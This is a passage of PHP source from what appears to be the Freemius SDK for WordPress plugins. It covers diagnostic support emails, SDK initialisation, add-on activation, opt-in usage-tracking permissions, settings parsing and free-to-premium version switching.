) ); if ( $is_new_idn_available ) { $domain = idn_to_ascii( $parts[1], IDNA_DEFAULT, INTL_IDNA_VARIANT_UTS46 ); } else { $domain = idn_to_ascii( $parts[1] ); // phpcs:ignore PHPCompatibility.ParameterValues.NewIDNVariantDefault.NotSet } $domain = $domain . '.'; return ( checkdnsrr( $domain, 'MX' ) || checkdnsrr( $domain, 'A' ) ); } #endregion #---------------------------------------------------------------------------------- #region Email #---------------------------------------------------------------------------------- /** * Generates and sends an HTML email with customizable sections. * * @author Leo Fajardo (@leorw) * @since 1.1.2 * * @param string $to_address * @param string $subject * @param array $sections * @param array $headers * * @return bool Whether the email contents were sent successfully. */ private function send_email( $to_address, $subject, $sections = array(), $headers = array() ) { $default_sections = $this->get_email_sections(); // Insert new sections or replace the default email sections. if ( is_array( $sections ) && ! empty( $sections ) ) { foreach ( $sections as $section_id => $custom_section ) { if ( ! isset( $default_sections[ $section_id ] ) ) { // If the section does not exist, add it. $default_sections[ $section_id ] = $custom_section; } else { // If the section already exists, override it. $current_section = $default_sections[ $section_id ]; // Replace the current section's title if a custom section title exists. if ( isset( $custom_section['title'] ) ) { $current_section['title'] = $custom_section['title']; } // Insert new rows under the current section or replace the default rows. if ( isset( $custom_section['rows'] ) && is_array( $custom_section['rows'] ) && ! empty( $custom_section['rows'] ) ) { foreach ( $custom_section['rows'] as $row_id => $row ) { $current_section['rows'][ $row_id ] = $row; } } $default_sections[ $section_id ] = $current_section; } } } $vars = array( 'sections' => $default_sections ); $message = fs_get_template( 'email.php', $vars ); // Set the type of email to HTML. $headers[] = 'Content-type: text/html; charset=UTF-8'; $header_string = implode( "\r\n", $headers ); return wp_mail( $to_address, $subject, $message, $header_string ); } /** * Generates the data for the sections of the email content. * * @author Leo Fajardo (@leorw) * @since 1.1.2 * * @return array */ private function get_email_sections() { // Retrieve the current user's information so that we can get the user's email, first name, and last name below. $current_user = self::_get_current_wp_user(); // Retrieve the cURL version information so that we can get the version number below. $curl_version_information = curl_version(); $active_plugin = self::get_active_plugins(); // Generate the list of active plugins separated by new line. $active_plugin_string = ''; foreach ( $active_plugin as $plugin ) { $active_plugin_string .= sprintf( '%s [v%s]
                  ', $plugin['PluginURI'], $plugin['Name'], $plugin['Version'] ); } $server_ip = WP_FS__REMOTE_ADDR; // Add PHP info for deeper investigation. ob_start(); phpinfo(); $php_info = ob_get_clean(); $api_domain = substr( FS_API__ADDRESS, strpos( FS_API__ADDRESS, ':' ) + 3 ); // Generate the default email sections. $sections = array( 'sdk' => array( 'title' => 'SDK', 'rows' => array( 'fs_version' => array( 'FS Version', $this->version ), 'curl_version' => array( 'cURL Version', $curl_version_information['version'] ) ) ), 'plugin' => array( 'title' => ucfirst( $this->get_module_type() ), 'rows' => array( 'name' => array( 'Name', $this->get_plugin_name() ), 'version' => array( 'Version', $this->get_plugin_version() ) ) ), 'api' => array( 'title' => 'API Subdomain', 'rows' => array( 'dns' => array( 'DNS_CNAME', function_exists( 'dns_get_record' ) ? var_export( dns_get_record( $api_domain, DNS_CNAME ), true ) : 'dns_get_record() disabled/blocked' ), 'ip' => array( 'IP', function_exists( 'gethostbyname' ) ? gethostbyname( $api_domain ) : 'gethostbyname() disabled/blocked' ), ), ), 'site' => array( 'title' => 'Site', 'rows' => array( 'unique_id' => array( 'Unique ID', $this->get_anonymous_id() ), 'address' => array( 'Address', site_url() ), 'host' => array( 'HTTP_HOST', ( ! empty( $_SERVER['HTTP_HOST'] ) ? $_SERVER['HTTP_HOST'] : '' ) ), 'hosting' => array( 'Hosting Company' => fs_request_has( 'hosting_company' ) ? fs_request_get( 'hosting_company' ) : 'Unknown', ), 'server_addr' => array( 'SERVER_ADDR', '' . $server_ip . '' ) ) ), 'user' => array( 'title' => 'User', 'rows' => array( 'email' => array( 'Email', $current_user->user_email ), 'first' => array( 'First', $current_user->user_firstname ), 'last' => array( 'Last', $current_user->user_lastname ) ) ), 'plugins' => array( 'title' => 'Plugins', 'rows' => array( 'active_plugins' => array( 'Active Plugins', $active_plugin_string ) ) ), 'php_info' => array( 'title' => 'PHP Info', 'rows' => array( 'info' => array( $php_info ) ), ) ); // Allow the sections to be modified by other code. $sections = $this->apply_filters( 'email_template_sections', $sections ); return $sections; } #endregion #---------------------------------------------------------------------------------- #region Initialization #---------------------------------------------------------------------------------- /** * Init plugin's Freemius instance. * * @author Vova Feldman (@svovaf) * @since 1.0.1 * * @param number $id * @param string $public_key * @param bool $is_live * @param bool $is_premium */ function init( $id, $public_key, $is_live = true, $is_premium = true ) { $this->_logger->entrance(); $this->dynamic_init( array( 'id' => $id, 'public_key' => $public_key, 'is_live' => $is_live, 'is_premium' => $is_premium, ) ); } /** * Dynamic initiator, originally created to support initiation * with parent_id for add-ons. * * @author Vova Feldman (@svovaf) * @since 1.0.6 * * @param array $plugin_info * * @throws Freemius_Exception */ function dynamic_init( array $plugin_info ) { $this->_logger->entrance(); $this->parse_settings( $plugin_info ); $this->register_after_settings_parse_hooks(); /** * If anonymous but there's already a user entity and the user's site is associated with a valid license or trial period, update the anonymous mode accordingly. * * @todo Remove this entire `if` block after several releases as starting from this version, the anonymous mode will already be updated accordingly after a purchase. */ if ( $this->is_anonymous() ) { $is_network_level = ( $this->_is_network_active && fs_is_network_admin() ); if ( ! $is_network_level || FS_Site::is_valid_id( $this->_storage->network_install_blog_id ) ) { if ( $this->is_paying_or_trial() ) { $this->reset_anonymous_mode( $is_network_level ); } } else { $network = get_network(); if ( is_object( $network ) ) { $main_blog_id = $network->site_id; $first_install = $this->get_install_by_blog_id( $main_blog_id ); if ( is_object( $first_install ) ) { $this->_storage->network_install_blog_id = $main_blog_id; $this->_storage->network_user_id = $first_install->user_id; } } } } if ( $this->should_stop_execution() ) { return; } if ( ! $this->is_registered() ) { if ( $this->is_anonymous() ) { // If user skipped, no need to test connectivity. $this->_has_api_connection = true; $this->_is_on = true; } else { if ( false === $this->has_api_connectivity() ) { return; } else { if ( $this->_anonymous_mode ) { // Simulate anonymous mode. $this->_is_anonymous = true; } } } } /** * This should be executed even if Freemius is off for the core module, * otherwise, the add-ons dialog box won't work properly. This is especially * relevant when the developer decided to turn FS off for existing users. * * @author Vova Feldman (@svovaf) */ if ( $this->is_user_in_admin() && 'plugin-information' === fs_request_get( 'tab', false ) && $this->should_use_freemius_updater_and_dialog() && ( ( $this->is_addon() && $this->get_slug() == fs_request_get( 'plugin', false ) ) || ( $this->has_addons() && $this->get_id() == fs_request_get( 'parent_plugin_id', false ) ) ) ) { require_once WP_FS__DIR_INCLUDES . '/fs-plugin-info-dialog.php'; new FS_Plugin_Info_Dialog( $this->is_addon() ? $this->get_parent_instance() : $this ); } // Check if Freemius is on for the current plugin. // This MUST be executed after all the plugin variables has been loaded. if ( ! $this->is_registered() && ! $this->is_on() ) { return; } if ( $this->has_api_connectivity() ) { if ( self::is_cron() ) { $this->hook_callback_to_sync_cron(); } else if ( $this->is_user_in_admin() ) { /** * Schedule daily data sync cron if: * * 1. User opted-in (for tracking). * 2. If skipped, but later upgraded (opted-in via upgrade). * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * */ if ( $this->is_registered() && $this->is_tracking_allowed() ) { $this->maybe_schedule_sync_cron(); } /** * Check if requested for manual blocking background sync. */ if ( fs_request_has( 'background_sync' ) ) { self::require_pluggable_essentials(); self::wp_cookie_constants(); $this->run_manual_sync(); } } } if ( $this->is_registered() ) { FS_Clone_Manager::instance()->maybe_resolve_new_subsite_install_automatically( $this ); $this->hook_callback_to_install_sync(); } if ( $this->is_addon() ) { if ( $this->is_parent_plugin_installed() ) { // Link to parent FS. $this->_parent = self::get_instance_by_id( $this->_plugin->parent_plugin_id ); // Get parent plugin reference. $this->_parent_plugin = $this->_parent->get_plugin(); } } if ( $this->is_user_in_admin() ) { if ( $this->is_registered() && fs_request_has( 'purchase_completed' ) ) { $this->_admin_notices->add_sticky( sprintf( /* translators: %s: License type (e.g. you have a professional license) */ $this->get_text_inline( 'You have purchased a %s license.', 'you-have-x-license' ), fs_request_get( 'purchased_plan' ) ) . sprintf( $this->get_text_inline(" The %s's %sdownload link%s, license key, and installation instructions have been sent to %s. If you can't find the email after 5 min, please check your spam box.", 'post-purchase-email-sent-message' ), $this->get_module_label( true ), ( FS_Plugin::is_valid_id( $this->get_bundle_id() ) ? "products' " : '' ), ( FS_Plugin::is_valid_id( $this->get_bundle_id() ) ? 's' : '' ), sprintf( '%s', fs_request_get( 'purchase_email' ) ) ), 'plan_purchased', $this->get_text_x_inline( 'Yee-haw', 'interjection expressing joy or exuberance', 'yee-haw' ) . '!' ); } if ( $this->is_addon() ) { if ( ! $this->is_parent_plugin_installed() ) { $parent_name = $this->get_option( $plugin_info, 'parent_name', null ); if ( isset( $plugin_info['parent'] ) ) { $parent_name = $this->get_option( $plugin_info['parent'], 'name', null ); } $this->_admin_notices->add( ( ! empty( $parent_name ) ? sprintf( $this->get_text_x_inline( '%s cannot run without %s.', 'addonX cannot run without pluginY', 'addon-x-cannot-run-without-y' ), $this->get_plugin_name(), $parent_name ) : sprintf( $this->get_text_x_inline( '%s cannot run without the plugin.', 'addonX cannot run...', 'addon-x-cannot-run-without-parent' ), $this->get_plugin_name() ) ), $this->get_text_x_inline( 'Oops', 'exclamation', 'oops' ) . '...', 'error' ); return; } else { $is_network_admin = fs_is_network_admin(); if ( ! $this->_parent->is_registered() && $this->is_registered() ) { // If add-on activated and parent not, automatically install parent for the user. $this->activate_parent_account( $this->_parent ); } else if ( $this->_parent->is_registered() && ! $this->is_registered() && /** * If not registered for add-on and the following conditions for the add-on are met, activate add-on account. * * Network active and in network admin - network activate add-on account. * * Network active and not in network admin - activate add-on account for the current blog. * * Not network active and not in network admin - activate add-on account for the current blog. * * If not registered for add-on, not network active, and in network admin, do not handle the add-on activation. * * @author Leo Fajardo (@leorw) * @since 2.3.0 */ ( $this->is_network_active() || ! $is_network_admin ) ) { $premium_license = null; if ( ! $this->has_free_plan() && $this->is_bundle_license_auto_activation_enabled() && $this->_parent->is_activated_with_bundle_license() ) { /** * If the add-on has no free plan, try to activate the account only when there's a bundle license. * * @author Leo Fajardo (@leorw) * @since 2.4.0 */ $bundle_license = $this->get_active_parent_license( $this->_parent->_get_license()->secret_key, false ); if ( is_object( $bundle_license ) && ! empty( $bundle_license->products ) && in_array( $this->get_id(), $bundle_license->products ) ) { $premium_license = $bundle_license; } } if ( $this->has_free_plan() || is_object( $premium_license) ) { // If parent plugin activated, automatically install add-on for the user. $this->_activate_addon_account( $this->_parent, ( $this->is_network_active() && $is_network_admin ) ? true : get_current_blog_id(), $premium_license ); } } // @todo This should be only executed on activation. It should be migrated to register_activation_hook() together with other activation related logic. if ( $this->is_premium() ) { // Remove add-on download admin-notice. $this->_parent->_admin_notices->remove_sticky( array( 'addon_plan_upgraded_' . $this->_slug, 'no_addon_license_' . $this->_slug, ) ); } // $this->deactivate_premium_only_addon_without_license(); } } add_action( 'admin_init', array( &$this, '_admin_init_action' ) ); // if ( $this->is_registered() || // $this->is_anonymous() || // $this->is_pending_activation() // ) { // $this->_init_admin(); // } } /** * Should be called outside `$this->is_user_in_admin()` scope * because the updater has some logic that needs to be executed * during AJAX calls. * * Currently, we need to hook to the `http_request_host_is_external` filter. * In the future, there might be additional logic added. * * @author Vova Feldman * @since 1.2.1.6 */ if ( $this->should_use_freemius_updater_and_dialog() && ( $this->is_premium() || /** * If not premium but the premium version is installed, also instantiate the updater so that the * plugin information dialog of the premium version will have the information from the server. * * @author Leo Fajardo (@leorw) * @since 2.2.3 */ ( file_exists( fs_normalize_path( WP_PLUGIN_DIR . '/' . $this->premium_plugin_basename() ) ) ) ) && $this->has_release_on_freemius() && ( ! $this->is_unresolved_clone( true ) ) ) { FS_Plugin_Updater::instance( $this ); } $this->do_action( 'initiated' ); if ( $this->_storage->prev_is_premium !== $this->_plugin->is_premium ) { if ( isset( $this->_storage->prev_is_premium ) ) { $this->apply_filters( 'after_code_type_change', // New code type. $this->_plugin->is_premium ); } else { // Set for code type for the first time. $this->_storage->prev_is_premium = $this->_plugin->is_premium; } } if ( ! $this->is_addon() ) { if ( $this->is_registered() ) { // Fix for upgrade from versions < 1.0.9. if ( ! isset( $this->_storage->activation_timestamp ) ) { $this->_storage->activation_timestamp = WP_FS__SCRIPT_START_TIME; } $this->do_action( 'after_init_plugin_registered' ); } else if ( $this->is_anonymous() ) { $this->do_action( 'after_init_plugin_anonymous' ); } else if ( $this->is_pending_activation() ) { $this->do_action( 'after_init_plugin_pending_activations' ); } } else { if ( $this->is_registered() ) { $this->do_action( 'after_init_addon_registered' ); } else if ( $this->is_anonymous() ) { $this->do_action( 'after_init_addon_anonymous' ); } else if ( $this->is_pending_activation() ) { $this->do_action( 'after_init_addon_pending_activations' ); } } } /** * @author Leo Fajardo (@leorw) * @since 2.2.3 * * @return bool */ private function should_use_freemius_updater_and_dialog() { return ( /** * Allow updater and dialog when the `fs_allow_updater_and_dialog` URL query param exists and has `true` * value, or when the current page is not the "Add Plugins" page (/plugin-install.php) and the `action` * URL query param doesn't exist or its value is not `install-plugin` so that there will be no conflicts * with the .org plugins' functionalities (e.g. installation from the "Add Plugins" page and viewing * plugin details from .org). */ ( true === fs_request_get_bool( 'fs_allow_updater_and_dialog' ) ) || ( ! self::is_plugin_install_page() && // Disallow updater and dialog when installing a plugin, otherwise .org "add-on" plugins will be affected. ( 'install-plugin' !== fs_request_get( 'action' ) ) ) ); } /** * @param string[] $permissions * @param bool $is_enabled * @param int|null $blog_id * * @return true|object `true` on success, API error object on failure. */ private function update_site_permissions( array $permissions, $is_enabled, $blog_id = null ) { $this->_logger->entrance(); $params = array( 'permissions' => implode( ',', $permissions ), 'is_enabled' => $is_enabled, ); $current_blog_id = get_current_blog_id(); $is_blog_switched = false; if ( is_numeric( $blog_id ) && $current_blog_id != $blog_id ) { $is_blog_switched = $this->switch_to_blog( $blog_id ); } $result = $this->api_site_call( '/permissions.json', 'put', $params ); if ( $is_blog_switched ) { $this->switch_to_blog( $current_blog_id ); } if ( ! $this->is_api_result_object( $result ) || ! isset( $result->install_id ) ) { $this->_logger->api_error( $result ); return $result; } return true; } /** * @param string[] $permissions * @param bool $is_enabled * @param bool $has_site_delegated_connection * * @return true|object `true` on success, API error object on failure. */ private function update_network_permissions( array $permissions, $is_enabled, &$has_site_delegated_connection ) { $this->_logger->entrance(); $install_id_2_blog_id = array(); $install_by_blog_id = $this->get_blog_install_map(); $has_site_delegated_connection = false; foreach ( $install_by_blog_id as $blog_id => $install ) { if ( $this->is_site_delegated_connection( $blog_id ) ) { // Only update permissions of non-delegated installs. $has_site_delegated_connection = true; continue; } $install_id_2_blog_id[ $install->id ] = $blog_id; } if ( empty( $install_id_2_blog_id ) ) { return true; } $params = array( 'permissions' => implode( ',', $permissions ), 'is_enabled' => $is_enabled, 'install_ids' => implode( ',', array_keys( $install_id_2_blog_id ) ), ); // Send update to FS. $result = $this->get_current_or_network_user_api_scope()->call( "/plugins/{$this->_module_id}/installs/permissions.json", 'put', $params ); if ( ! $this->is_api_result_object( $result, 'installs_metadata' ) ) { $this->_logger->api_error( $result ); return $result; } return true; } /** * @param mixed $result * * @return string */ private function get_api_error_message( $result ) { $error_message = sprintf( $this->get_text_inline( 'There was an unexpected API error while processing your request. Please try again in a few minutes and if it still doesn\'t work, contact the %s\'s author with the following:', 'unexpected-api-error' ), $this->_module_type ) . ' '; if ( $this->is_api_error( $result ) && isset( $result->error ) ) { $code = empty( $result->error->code ) ? '' : " Code: {$result->error->code}"; $error_message .= "{$result->error->message}{$code}"; } else { $error_message .= var_export( $result, true ); } return $error_message; } /** * @author Vova Feldman (@svovaf) * @since 2.5.1 */ function _toggle_permission_tracking_callback() { $this->_logger->entrance(); $this->check_ajax_referer( 'toggle_permission_tracking' ); if ( ! $this->is_registered( true ) ) { self::shoot_ajax_failure( 'User never opted-in.' ); } $is_enabled = fs_request_get_bool( 'is_enabled' ); $permissions = fs_request_get( 'permissions' ); if ( ! is_string( $permissions ) ) { self::shoot_ajax_failure( 'The permissions param must be a string.' ); } $permissions = explode( ',', $permissions ); $result = $this->toggle_permission_tracking( $permissions, $is_enabled ); if ( true !== $result ) { self::shoot_ajax_failure( $this->get_api_error_message( $result ) ); } self::shoot_ajax_success(); } /** * @param string[] $permissions * @param bool $is_enabled * @param int|null $blog_id * * @return bool|mixed `true` if updated successfully or no update is needed. */ private function toggle_permission_tracking( $permissions, $is_enabled, $blog_id = null ) { if ( ! $this->is_registered( true ) ) { // User never opted-in. return false; } // Check if permissions are already set as needed. if ( FS_Permission_Manager::instance( $this )->are_permissions( $permissions, $is_enabled, $blog_id ) ) { /** * Note: * When running on the network admin, there's no need to iterate through all the installs individually since network opt-in permissions are managed for ALL non-delegated installs through a single option (per permission) on the network-level storage. */ return true; } $api_managed_permissions = array_intersect( $permissions, FS_Permission_Manager::get_api_managed_permission_ids() ); if ( in_array( FS_Permission_Manager::PERMISSION_ESSENTIALS, $permissions ) && ! in_array( FS_Permission_Manager::PERMISSION_SITE, $permissions ) ) { $api_managed_permissions[] = FS_Permission_Manager::PERMISSION_SITE; } if ( ! empty( $api_managed_permissions ) ) { $has_site_delegated_connection = false; if ( ! $is_enabled && ! in_array( FS_Permission_Manager::PERMISSION_EXTENSIONS, $api_managed_permissions ) && false === FS_Permission_Manager::instance( $this )->is_extensions_tracking_allowed( $blog_id ) ) { /** * If we are turning off a permission and the extensions permission is off too, enrich the permissions update request to also turn off extensions tracking, as currently when opting in with extensions tracking disabled the extensions tracking is off but the API isn't aware of it. * * @todo Remove this entire `if` after implementing granular opt-in that also sends the permissions to the API when opting in. */ $api_managed_permissions[] = FS_Permission_Manager::PERMISSION_EXTENSIONS; } if ( is_null( $blog_id ) && fs_is_network_admin() ) { $result = $this->update_network_permissions( $api_managed_permissions, $is_enabled, $has_site_delegated_connection ); } else { $result = $this->update_site_permissions( $api_managed_permissions, $is_enabled, $blog_id ); } if ( true !== $result ) { return $result; } if ( in_array( FS_Permission_Manager::PERMISSION_SITE, $api_managed_permissions ) ) { if ( $is_enabled ) { $this->schedule_sync_cron(); } else { $this->clear_sync_cron( ! $has_site_delegated_connection ); } } if ( in_array( FS_Permission_Manager::PERMISSION_USER, $api_managed_permissions ) ) { $this->toggle_user_permission( $is_enabled, $blog_id ); } } $this->update_tracking_permissions( $permissions, $is_enabled, $blog_id ); return true; } /** * @param bool $is_enabled * @param int|null $blog_id */ private function toggle_user_permission( $is_enabled, $blog_id = null ) { $network_or_blog_ids = is_numeric( $blog_id ) ? $blog_id : fs_is_network_admin(); if ( $is_enabled ) { $this->reset_anonymous_mode( $network_or_blog_ids ); } else { $this->skip_connection( $network_or_blog_ids ); } } /** * Opt-in back into usage tracking. * * Note: This will only work if the user opted-in previously. * * Returns: * 1. FALSE - If the user never opted-in. * 2. TRUE - If successfully opted-in back to usage tracking. * 3. object - API result on failure. * * @author Leo Fajardo (@leorw) * @since 1.2.1.5 * * @bool $is_enabled * * @return bool|object */ private function toggle_site_tracking( $is_enabled, $blog_id = null ) { $this->_logger->entrance(); return $this->toggle_permission_tracking( FS_Permission_Manager::instance( $this )->get_site_tracking_permission_names(), $is_enabled, $blog_id ); } /** * If user opted-in and later disabled usage-tracking, * re-allow tracking for licensing and updates. * * @author Leo Fajardo (@leorw) * @since 1.2.1.5 * * @param bool $is_context_single_site */ private function reconnect_locally( $is_context_single_site = false ) { $this->_logger->entrance(); if ( ! $this->is_registered() ) { return; } if ( ! fs_is_network_admin() || $is_context_single_site ) { if ( $this->is_tracking_prohibited() ) { FS_Permission_Manager::instance( $this )->update_site_tracking( true ); } } else { $installs_map = $this->get_blog_install_map(); foreach ( $installs_map as $blog_id => $install ) { /** * @var FS_Site $install */ if ( ! $this->is_tracking_allowed( $blog_id, $install ) ) { FS_Permission_Manager::instance( $this )->update_site_tracking( true, $blog_id ); } } } } /** * Update permission tracking flags. When updating in a network context, in addition to updating the network-level flags, also update the permissions on the site-level for all non-delegated sites. * * @param string[] $permissions * @param bool $is_enabled * @param int|null $blog_id * * @return array */ private function update_tracking_permissions( $permissions, $is_enabled, $blog_id = null ) { // Alias. $permission_manager = FS_Permission_Manager::instance( $this ); $network_or_blog_ids = is_numeric( $blog_id ) ? $blog_id : fs_is_network_admin(); if ( true === $network_or_blog_ids ) { // Update the permission for all non-delegated sub-sites. $blog_ids = $this->get_non_delegated_blog_ids(); // Add the network-level to the array, to update the permission on the network-level storage. array_unshift( $blog_ids, null ); } else { if ( false === $network_or_blog_ids ) { $network_or_blog_ids = null; } $blog_ids = is_array( $network_or_blog_ids ) ? $network_or_blog_ids : array( $network_or_blog_ids ); } $result = array(); foreach ( $permissions as $permission ) { $permission = trim( $permission ); $is_permission_supported = true; foreach ( $blog_ids as $id ) { $is_permission_supported = $permission_manager->update_permission_tracking_flag( $permission, $is_enabled, $id ); } if ( ! $is_permission_supported ) { $permission = 'no_match'; } $result[ $permission ] = $is_enabled; } return $result; } /** * Parse plugin's settings (as defined by the plugin dev). * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @param array $plugin_info * * @throws \Freemius_Exception */ private function parse_settings( &$plugin_info ) { $this->_logger->entrance(); $id = $this->get_numeric_option( $plugin_info, 'id', false ); $public_key = $this->get_option( $plugin_info, 'public_key', false ); $secret_key = $this->get_option( $plugin_info, 'secret_key', null ); $parent_id = $this->get_numeric_option( $plugin_info, 'parent_id', null ); $parent_name = $this->get_option( $plugin_info, 'parent_name', null ); /** * @author Vova Feldman (@svovaf) * @since 1.1.9 Try to pull secret key from external config. */ if ( is_null( $secret_key ) && defined( "WP_FS__{$this->_slug}_SECRET_KEY" ) ) { $secret_key = constant( "WP_FS__{$this->_slug}_SECRET_KEY" ); } if ( isset( $plugin_info['parent'] ) ) { $parent_id = $this->get_numeric_option( $plugin_info['parent'], 'id', null ); // $parent_slug = $this->get_option( $plugin_info['parent'], 'slug', null ); // $parent_public_key = $this->get_option( $plugin_info['parent'], 'public_key', null ); // $parent_name = $this->get_option( $plugin_info['parent'], 'name', null ); } if ( false === $id ) { throw new Freemius_Exception( array( 'error' => array( 'type' => 'ParameterNotSet', 'message' => 'Plugin id parameter is not set.', 'code' => 'plugin_id_not_set', 'http' => 500, ) ) ); } if ( false === $public_key ) { throw new Freemius_Exception( array( 'error' => array( 'type' => 'ParameterNotSet', 'message' => 'Plugin public_key parameter is not set.', 'code' => 'plugin_public_key_not_set', 'http' => 500, ) ) ); } $plugin = ( $this->_plugin instanceof FS_Plugin ) ? $this->_plugin : new FS_Plugin(); $premium_suffix = $this->get_option( $plugin_info, 'premium_suffix', '(Premium)' ); $plugin->update( array( 'id' => $id, 'type' => $this->get_option( $plugin_info, 'type', $this->_module_type ), 'public_key' => $public_key, 'slug' => $this->_slug, 'premium_slug' => $this->get_option( $plugin_info, 'premium_slug', "{$this->_slug}-premium" ), 'parent_plugin_id' => $parent_id, 'version' => $this->get_plugin_version(), 'title' => $this->get_plugin_name( $premium_suffix ), 'file' => $this->_plugin_basename, 'is_premium' => $this->get_bool_option( $plugin_info, 'is_premium', true ), 'premium_suffix' => $premium_suffix, 'is_live' => $this->get_bool_option( $plugin_info, 'is_live', true ), 'affiliate_moderation' => $this->get_option( $plugin_info, 'has_affiliation' ), 'bundle_id' => $this->get_option( $plugin_info, 'bundle_id', null ), 'bundle_public_key' => $this->get_option( $plugin_info, 'bundle_public_key', null ), 'opt_in_moderation' => $this->get_option( $plugin_info, 'opt_in', null ), ) ); if ( $plugin->is_updated() ) { // Update plugin details. $this->_plugin = FS_Plugin_Manager::instance( $this->_module_id )->store( $plugin ); } // Set the secret key after storing the plugin, we don't want to store the key in the storage. $this->_plugin->secret_key = $secret_key; /** * If the product is network integrated and activated and the current view is in the network level Admin dashboard, if the product's network-level menu located differently from the sub-site level, then use the network menu details (when set). * * @author Vova Feldman * @since 2.4.5 */ if ( $this->is_network_active() && fs_is_network_admin() ) { if ( isset( $plugin_info['menu_network'] ) && is_array( $plugin_info['menu_network'] ) && ! empty( $plugin_info['menu_network'] ) ) { $plugin_info['menu'] = $plugin_info['menu_network']; } } if ( ! isset( $plugin_info['menu'] ) ) { $plugin_info['menu'] = array(); if ( ! empty( $this->_storage->sdk_last_version ) && version_compare( $this->_storage->sdk_last_version, '1.1.2', '<=' ) ) { // Backward compatibility to 1.1.2 $plugin_info['menu']['slug'] = isset( $plugin_info['menu_slug'] ) ? $plugin_info['menu_slug'] : $this->_slug; } } $this->_menu = FS_Admin_Menu_Manager::instance( $this->_module_id, $this->_module_type, $this->get_unique_affix() ); $this->_menu->init( $plugin_info['menu'], $this->is_addon() ); $this->_has_addons = $this->get_bool_option( $plugin_info, 'has_addons', false ); $this->_has_paid_plans = $this->get_bool_option( $plugin_info, 'has_paid_plans', true ); $this->_has_premium_version = $this->get_bool_option( $plugin_info, 'has_premium_version', $this->_has_paid_plans ); $this->_ignore_pending_mode = $this->get_bool_option( $plugin_info, 'ignore_pending_mode', false ); $this->_is_org_compliant = $this->get_bool_option( $plugin_info, 'is_org_compliant', true ); $this->_is_premium_only = $this->get_bool_option( $plugin_info, 'is_premium_only', false ); if ( $this->_is_premium_only ) { // If premium only plugin, disable anonymous mode. $this->_enable_anonymous = false; $this->_anonymous_mode = false; } else { $this->_enable_anonymous = $this->get_bool_option( $plugin_info, 'enable_anonymous', true ); $this->_anonymous_mode = $this->get_bool_option( $plugin_info, 'anonymous_mode', false ); } $this->_permissions = $this->get_option( $plugin_info, 'permissions', array() ); $this->_is_bundle_license_auto_activation_enabled = $this->get_option( $plugin_info, 'bundle_license_auto_activation', false ); if ( ! empty( $plugin_info['trial'] ) ) { $this->_trial_days = $this->get_numeric_option( $plugin_info['trial'], 'days', // Default to 0 - trial without days specification. 0 ); $this->_is_trial_require_payment = $this->get_bool_option( $plugin_info['trial'], 'is_require_payment', false ); } $this->_navigation = $this->get_option( $plugin_info, 'navigation', $this->is_free_wp_org_theme() ? self::NAVIGATION_TABS : self::NAVIGATION_MENU ); } /** * @param string[] $options * @param string $key * @param mixed $default * * @return bool */ private function get_option( &$options, $key, $default = false ) { return ! empty( $options[ $key ] ) ? $options[ $key ] : $default; } private function get_bool_option( &$options, $key, $default = false ) { return isset( $options[ $key ] ) && is_bool( $options[ $key ] ) ? $options[ $key ] : $default; } private function get_numeric_option( &$options, $key, $default = false ) { return isset( $options[ $key ] ) && is_numeric( $options[ $key ] ) ? $options[ $key ] : $default; } /** * Gate keeper. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 * * @return bool */ private function should_stop_execution() { if ( empty( $this->_storage->was_plugin_loaded ) ) { /** * Don't execute Freemius until plugin was fully loaded at least once, * to give the opportunity for the activation hook to run before pinging * the API for connectivity test. This logic is relevant for the * identification of new plugin install vs. plugin update. * * @author Vova Feldman (@svovaf) * @since 1.1.9 */ return true; } if ( $this->is_activation_mode() ) { if ( ! is_admin() ) { /** * If in activation mode, don't execute Freemius outside the admin dashboard. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 */ return true; } if ( ! WP_FS__IS_HTTP_REQUEST ) { /** * If in activation and executed without HTTP context (e.g. CLI, Cronjob), * then don't start Freemius. * * @author Vova Feldman (@svovaf) * @since 1.1.6.3 * * @link https://wordpress.org/support/topic/errors-in-the-freemius-class-when-running-in-wordpress-in-cli */ return true; } if ( self::is_cron() ) { /** * If in activation mode, don't execute Freemius during wp crons * (wp crons have HTTP context - called as HTTP request). * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 */ return true; } if ( self::is_ajax() ) { /** * During activation, if running in AJAX mode, unless there's a sticky * connectivity issue notice, don't run Freemius. * * @author Vova Feldman (@svovaf) * @since 1.1.7.3 */ return true; } } return false; } /** * Triggered after code type has changed. * * @author Vova Feldman (@svovaf) * @since 1.1.9.1 */ function _after_code_type_change() { $this->_logger->entrance(); if ( $this->is_theme() ) { // Expire the cache of the previous tabs since the theme may // have setting updates after code type has changed. $this->_cache->expire( 'tabs' ); $this->_cache->expire( 'tabs_stylesheets' ); } if ( ! $this->is_addon() ) { add_action( is_admin() ? 'admin_init' : 'init', array( &$this, '_plugin_code_type_changed' ) ); } if ( $this->is_registered() && $this->is_premium() ) { // Purge cached payments after switching to the premium version. // @todo This logic doesn't handle purging the cache for serviceware module upgrade. $this->get_api_user_scope()->purge_cache( "/plugins/{$this->_module_id}/payments.json?include_addons=true" ); } } /** * Handles plugin's code type change (free <--> premium). * * @author Vova Feldman (@svovaf) * @since 1.0.9 */ function _plugin_code_type_changed() { $this->_logger->entrance(); if ( $this->is_premium() ) { $this->reconnect_locally(); // Activated premium code. $this->do_action( 'after_premium_version_activation' ); // Remove all sticky messages related to download of the premium version. $this->_admin_notices->remove_sticky( array( 'trial_started', 'plan_upgraded', 'plan_changed', 'license_activated', ) ); $notice = ''; if ( ! $this->is_only_premium() ) { $notice = sprintf( $this->get_text_inline( 'Premium %s version was successfully activated.', 'premium-activated-message' ), $this->_module_type ); } $license_notice = $this->get_license_network_activation_notice(); if ( ! empty( $license_notice ) ) { $notice .= ' ' . $license_notice; } if ( ! empty( $notice ) ) { $this->_admin_notices->add_sticky( trim( $notice ), 'premium_activated', $this->get_text_x_inline( 'W00t', 'Used to express elation, enthusiasm, or triumph (especially in electronic communication).', 'woot' ) . '!' ); } } else { // Remove sticky message related to premium code activation. $this->_admin_notices->remove_sticky( 'premium_activated' ); // Activated free code (after had the premium before). $this->do_action( 'after_free_version_reactivation' ); if ( $this->is_paying() && ! $this->is_premium() ) { $this->add_complete_upgrade_instructions_notice( sprintf( /* translators: %s: License type (e.g. you have a professional license) */ $this->get_text_inline( 'You have a %s license.', 'you-have-x-license' ), $this->get_plan_title() ), 'plan_upgraded' ); } } if ( $this->is_registered() ) { // Schedule code type changes event. 